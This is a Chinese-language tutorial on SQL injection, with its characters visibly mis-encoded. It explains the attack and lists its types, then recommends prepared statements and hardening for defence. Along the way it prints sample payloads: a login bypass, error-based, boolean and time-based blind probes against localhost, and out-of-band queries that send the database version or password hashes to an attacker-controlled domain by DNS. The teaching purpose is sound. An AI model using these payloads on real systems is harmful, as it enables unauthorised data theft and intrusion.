什么是 SQL 注入,有哪些類(lèi)型,如何預(yù)防?
SQL注入漏是系統(tǒng)漏洞中一種比較嚴(yán)重的漏洞,如果說(shuō)數(shù)據(jù)是系統(tǒng)的核心,那么SQL注入就是直插系統(tǒng)核心的漏洞。一直以來(lái)SQL注入漏洞就被列入OWASP最常見(jiàn)和影響最廣泛的十大漏洞列表中。
顧名思義,SQL注入漏洞是攻擊者將惡意內(nèi)容注入到SQL語(yǔ)句。
為了充分理解這個(gè)問(wèn)題,我們首先必須了解服務(wù)器端腳本語(yǔ)言如何處理SQL查詢。
例如:Web應(yīng)用程序中的功能生成了一個(gè)帶有以下SQL語(yǔ)句的字符串:
SELECT * FROM users WHERE username = 'bob' AND password = 'mysecretpw'
這個(gè)SQL語(yǔ)句被傳遞給應(yīng)用程序的一個(gè)函數(shù),該函數(shù)將字符串發(fā)送到數(shù)據(jù)庫(kù),之后SQL在數(shù)據(jù)庫(kù)中被解析、執(zhí)行并返回結(jié)果。
我們可以看到這個(gè)SQL包含了一些特殊字符:
- * (星號(hào))是SQL數(shù)據(jù)庫(kù)返回所選數(shù)據(jù)庫(kù)行的所有列的指令。
- =(等號(hào))是一條用于使SQL數(shù)據(jù)庫(kù)僅返回與搜索到的字符串匹配的值指令。
- '(單引號(hào))用于告訴SQL數(shù)據(jù)庫(kù)搜索字符串的開(kāi)始或結(jié)束位置。
在Web應(yīng)用設(shè)計(jì)上,往往需要把SQL中的參數(shù)設(shè)計(jì)成可配置的變量,例如:在執(zhí)行用戶登錄的過(guò)程中使用“$user”和“$password”的值進(jìn)行SQL查詢。
SELECT * FROM users WHERE username = '$user' AND password
= '$password'
這時(shí),如果應(yīng)用程序如果沒(méi)有對(duì)輸入進(jìn)行處理,攻擊者可以很容易在語(yǔ)句中插入一些特殊的SQL語(yǔ)法,例如:
SELECT * FROM users WHERE username = 'admin'; -- ' AND
password = 'anything'
其中,admin'; -- 就是攻擊者輸入到$user變量的內(nèi)容,其中包含兩個(gè)新的特殊字符。
分號(hào)“;”用于指示SQL解析器當(dāng)前語(yǔ)句已經(jīng)結(jié)束。
雙連字符“--”用于指示SQL解析器該行的其余部分是注釋?zhuān)粦?yīng)該被執(zhí)行。
通過(guò)這個(gè)SQL注入,攻擊者有效地刪除了密碼驗(yàn)證,并返回admin用戶的數(shù)據(jù)。最終導(dǎo)致攻擊者可以使用管理員帳戶登錄,而無(wú)需指定密碼。
SQL注入漏洞的影響
利用SQL注入,攻擊者可以做很多事情,比如:
- 添加、刪除、編輯或讀取數(shù)據(jù)庫(kù)中的內(nèi)容。
- 從數(shù)據(jù)庫(kù)服務(wù)器上的文件讀取源代碼。
- 將文件寫(xiě)入數(shù)據(jù)庫(kù)服務(wù)器。
除此之外,甚至可能完全接管數(shù)據(jù)庫(kù)和Web服務(wù)器。
常見(jiàn)的SQL注入類(lèi)型
攻擊者可以通過(guò)各種方式利用SQL注入漏洞從服務(wù)器中竊取數(shù)據(jù)。常見(jiàn)的方法包括基于錯(cuò)誤、基于條件(真/假)和基于時(shí)間等方式來(lái)檢索數(shù)據(jù)。
(1) 基于錯(cuò)誤的SQL注入
利用基于錯(cuò)誤的SQL注入漏洞,攻擊者可以從可見(jiàn)的數(shù)據(jù)庫(kù)錯(cuò)誤中檢索表名和內(nèi)容等信息。
例如:
http://localhost:8080/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
這個(gè)請(qǐng)求會(huì)返回一個(gè)錯(cuò)誤:
Duplicate entry 'database1' for key 'group_key'
因此,在生產(chǎn)系統(tǒng)上禁用錯(cuò)誤消息有助于防止攻擊者收集此類(lèi)信息。
(2) 基于布爾的SQL注入
當(dāng)SQL查詢失敗時(shí),頁(yè)面上沒(méi)有可見(jiàn)的錯(cuò)誤消息,使得攻擊者難以從應(yīng)用程序中獲取到信息。但是,仔細(xì)觀察頁(yè)面,仍然可以判斷是可以攻擊并提取信息,當(dāng)SQL查詢失敗時(shí),有時(shí)網(wǎng)頁(yè)的某些部分會(huì)消失、改變或者整個(gè)網(wǎng)站無(wú)法加載。這些預(yù)示著,輸入的參數(shù)可以用來(lái)攻擊網(wǎng)站,或者提取數(shù)據(jù)。
例如:
攻擊者可以通過(guò)在SQL查詢中插入條件來(lái)測(cè)試:
http://localhost:8080/index?id=1+AND+1=1
如果頁(yè)面可以正常加載,則可能表明它易受SQL注入攻擊??梢钥隙ǖ氖?,攻擊者通常會(huì)嘗試使用以下方法來(lái)觸發(fā)錯(cuò)誤結(jié)果:
http://localhost:8080/index?id=1+AND+1=2
由于條件為false,如果沒(méi)有返回任何結(jié)果或頁(yè)面無(wú)法正常工作(例如,缺少文本或顯示白色頁(yè)面),則可能表明該頁(yè)面容易受到SQL注入的攻擊。
下面是如何以這種方式提取數(shù)據(jù)的示例:
http://localhost:8080/index?id=1+AND+IF(version()+LIKE+'5%',true,false)
通過(guò)這個(gè)請(qǐng)求,如果數(shù)據(jù)庫(kù)版本為5.x,則頁(yè)面應(yīng)該會(huì)照常加載。但是,如果數(shù)據(jù)庫(kù)版本不同,它的結(jié)果會(huì)有所不同,例如顯示一個(gè)空頁(yè)面或者一些空白內(nèi)容,這也表明它是否容易受到SQL注入的攻擊。
(3) 基于時(shí)間的SQL注入
在某些情況下,即使SQL查詢對(duì)頁(yè)面的輸出沒(méi)有任何明顯的影響,仍然可以從底層數(shù)據(jù)庫(kù)中提取信息。
黑客可以通過(guò)數(shù)據(jù)庫(kù)的響應(yīng)等待時(shí)間來(lái)進(jìn)一步確定。一般情況下如果頁(yè)面快速加載,那么一般不容易受到攻擊;如果加載時(shí)間將比平時(shí)長(zhǎng),那么它可能比較容易受到攻擊。在檢測(cè)是否有漏洞時(shí),SQL語(yǔ)法可能采用類(lèi)似基于布爾的SQL注入漏洞中使用的語(yǔ)法。但是可以額外設(shè)置一個(gè)可測(cè)量的睡眠時(shí)間,IF函數(shù)z中的“true” 替換為“sleep(3),指示數(shù)據(jù)庫(kù)睡眠三秒:
http://localhost:8080/index?id=1+AND+IF(version()+LIKE+'5%',sleep(3),false)
如果頁(yè)面加載的時(shí)間比通常要長(zhǎng),則可以判斷數(shù)據(jù)庫(kù)版本為5.x。
(4) 帶外SQL注入漏洞
攻擊者從數(shù)據(jù)庫(kù)中檢索信息的主要方法是使用帶外SQL注入技術(shù)。這種類(lèi)型的攻擊通常的做法是將數(shù)據(jù)直接從數(shù)據(jù)庫(kù)服務(wù)器發(fā)送到由攻擊者控制的機(jī)器。
例如:
http://localhost:8080/index?id=1+AND+(SELECT+LOAD_FILE(concat('\\\\',(SELECT @@version),'example.com\\')))
或者
http://localhost:8080/index?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec('xp_fileexist ''\\' + @pass + '.example.com\c$\boot.ini''')
在這些請(qǐng)求中,攻擊者通過(guò)執(zhí)行SQL使得數(shù)據(jù)庫(kù)向可控的服務(wù)器發(fā)出DNS請(qǐng)求,這意味著攻擊者不需要直接看到注入SQL的執(zhí)行結(jié)果,而是可以通過(guò)可控制的服務(wù)器查看到數(shù)據(jù)庫(kù)服務(wù)器發(fā)送的DNS請(qǐng)求。
(5) 其他類(lèi)型
SQL注入的類(lèi)型和方式也隨著數(shù)據(jù)庫(kù)和應(yīng)用開(kāi)發(fā)技術(shù)的發(fā)展不斷變化,除了以上注入類(lèi)型之外,還有許多,例如:
分類(lèi) | 描述 |
基于錯(cuò)誤的SQL注入 | 利用應(yīng)用程序生成的SQL錯(cuò)誤信息推斷數(shù)據(jù)庫(kù)結(jié)構(gòu)。 |
聯(lián)合查詢SQL注入 | 使用UNION操作符將惡意查詢與合法查詢聯(lián)合,獲取敏感數(shù)據(jù)。 |
盲注(Blind SQL Injection) | 數(shù)據(jù)庫(kù)錯(cuò)誤信息不回顯,攻擊者通過(guò)布爾判斷或時(shí)間延遲來(lái)獲取數(shù)據(jù)。 |
基于時(shí)間的盲注 | 利用數(shù)據(jù)庫(kù)響應(yīng)時(shí)間的差異來(lái)推斷數(shù)據(jù)庫(kù)信息。 |
基于布爾的盲注 | 通過(guò)判斷應(yīng)用程序響應(yīng)的布爾值(真/假)來(lái)推斷數(shù)據(jù)。 |
內(nèi)聯(lián)注入(In-band SQL Injection) | 通過(guò)應(yīng)用程序的常規(guī)通道(如頁(yè)面輸出)直接獲取數(shù)據(jù)。 |
堆疊查詢SQL注入 | 在一個(gè)SQL查詢中執(zhí)行多個(gè)SQL語(yǔ)句,用于繞過(guò)安全機(jī)制并執(zhí)行惡意操作。 |
存儲(chǔ)過(guò)程SQL注入 | 通過(guò)調(diào)用數(shù)據(jù)庫(kù)的存儲(chǔ)過(guò)程執(zhí)行惡意代碼,通常能獲得高級(jí)權(quán)限。 |
二次注入(Second-order SQL Injection) | 惡意代碼在第一次注入時(shí)未被觸發(fā),而在后續(xù)使用時(shí)被激活。 |
基于文件的SQL注入 | 注入惡意SQL代碼以操作數(shù)據(jù)庫(kù)中的文件(如讀取或?qū)懭胛募?br> |
基于HTTP頭的SQL注入 | 攻擊者將惡意SQL代碼嵌入HTTP頭(如User-Agent、Referer),從而注入到SQL查詢中。 |
基于Cookie的SQL注入 | 惡意代碼通過(guò)Cookie字段傳遞,應(yīng)用程序未對(duì)Cookie進(jìn)行適當(dāng)?shù)尿?yàn)證。 |
多字節(jié)字符SQL注入 | 利用字符集編碼漏洞,通過(guò)多字節(jié)字符構(gòu)造出未預(yù)料的SQL注入。 |
XML查詢注入(XXE) | 攻擊者在處理XML輸入時(shí)注入惡意代碼,以操控?cái)?shù)據(jù)庫(kù)查詢。 |
日志注入 | 將惡意SQL代碼寫(xiě)入應(yīng)用程序日志文件,進(jìn)而在日志分析時(shí)觸發(fā)SQL注入。 |
API接口SQL注入 | 針對(duì)Web API的輸入字段進(jìn)行SQL注入攻擊,通常缺乏詳細(xì)的錯(cuò)誤信息,可能更難檢測(cè)。 |
第三方插件或模塊SQL注入 | 第三方插件、庫(kù)或模塊中存在SQL注入漏洞,影響整個(gè)應(yīng)用程序的安全性。 |
組合型SQL注入 | 結(jié)合多種注入方式,如基于錯(cuò)誤注入與盲注結(jié)合,增加攻擊成功的可能性。 |
跨數(shù)據(jù)庫(kù)SQL注入 | 在多個(gè)不同數(shù)據(jù)庫(kù)平臺(tái)之間利用注入漏洞,通過(guò)一種數(shù)據(jù)庫(kù)的弱點(diǎn)入侵其他數(shù)據(jù)庫(kù)。 |
遠(yuǎn)程代碼執(zhí)行(RCE) | 利用SQL注入在數(shù)據(jù)庫(kù)服務(wù)器上執(zhí)行任意代碼,可能導(dǎo)致系統(tǒng)完全控制。 |
DNS注入 | 將SQL注入與DNS查詢結(jié)合,導(dǎo)致數(shù)據(jù)外泄。 |
如何防止SQL注入
在應(yīng)用程序服務(wù)端,并沒(méi)有什么好的辦法確定SQL查詢語(yǔ)句是否被惡意注入。所能做的就是向數(shù)據(jù)庫(kù)服務(wù)器發(fā)送一個(gè)SQL字符串,然后等待數(shù)據(jù)庫(kù)解釋并返回。
但是有一個(gè)辦法就是構(gòu)建預(yù)處理SQL語(yǔ)句,之后執(zhí)行SQL,并向其傳輸變量,這些變量的內(nèi)容在被執(zhí)行之前可以被格式化,這個(gè)有點(diǎn)像printf函數(shù)。
例如:
構(gòu)建預(yù)處理
$stmt = $dbh->prepare("SELECT * FROM users WHERE USERNAME = ? AND PASSWORD = ?");
執(zhí)行:;
$stmt->execute(array($username, $password));
為了預(yù)防SQL注入,除了在開(kāi)發(fā)階段進(jìn)行規(guī)范之外,還可以在一些外部進(jìn)行預(yù)防,例如:
- 更新中間件和數(shù)據(jù)庫(kù)服務(wù)器,例如SSH、OpenSSL、Postfix,甚至操作系統(tǒng)本身。
- 在Web服務(wù)器層面別阻止一些不規(guī)范的URL。
- 在數(shù)據(jù)庫(kù)層面,設(shè)置保護(hù)數(shù)據(jù)庫(kù)的權(quán)限。
- 將敏感、機(jī)密數(shù)據(jù)進(jìn)行分庫(kù)隔離存儲(chǔ)。
- 使用入侵檢測(cè)系統(tǒng)、防火墻等,在攻擊Web應(yīng)用程序之前分析HTTP請(qǐng)求。